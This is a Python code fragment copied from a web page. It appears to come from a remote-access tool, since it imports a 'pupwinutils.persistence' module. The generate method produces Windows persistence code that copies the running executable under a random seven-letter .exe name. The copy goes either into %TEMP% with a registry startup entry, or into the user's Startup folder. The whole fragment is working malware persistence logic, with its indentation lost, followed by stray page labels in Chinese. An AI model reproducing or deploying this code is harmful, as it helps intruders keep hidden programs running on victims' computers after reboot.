def generate(self):
name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe"
if self.method=="registry":
return textwrap.dedent("""
import sys, shutil, os.path
if sys.platform=="win32":
import pupwinutils.persistence
path=os.path.join(os.path.expandvars("%TEMP%"), {})
shutil.copy(sys.executable, path)
pupwinutils.persistence.add_registry_startup(path)
""".format(name))
else:
return textwrap.dedent("""
import sys, shutil, os.path
if sys.platform=="win32":
shutil.copy(sys.executable, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}"))
""".format(name))
评论列表
文章目录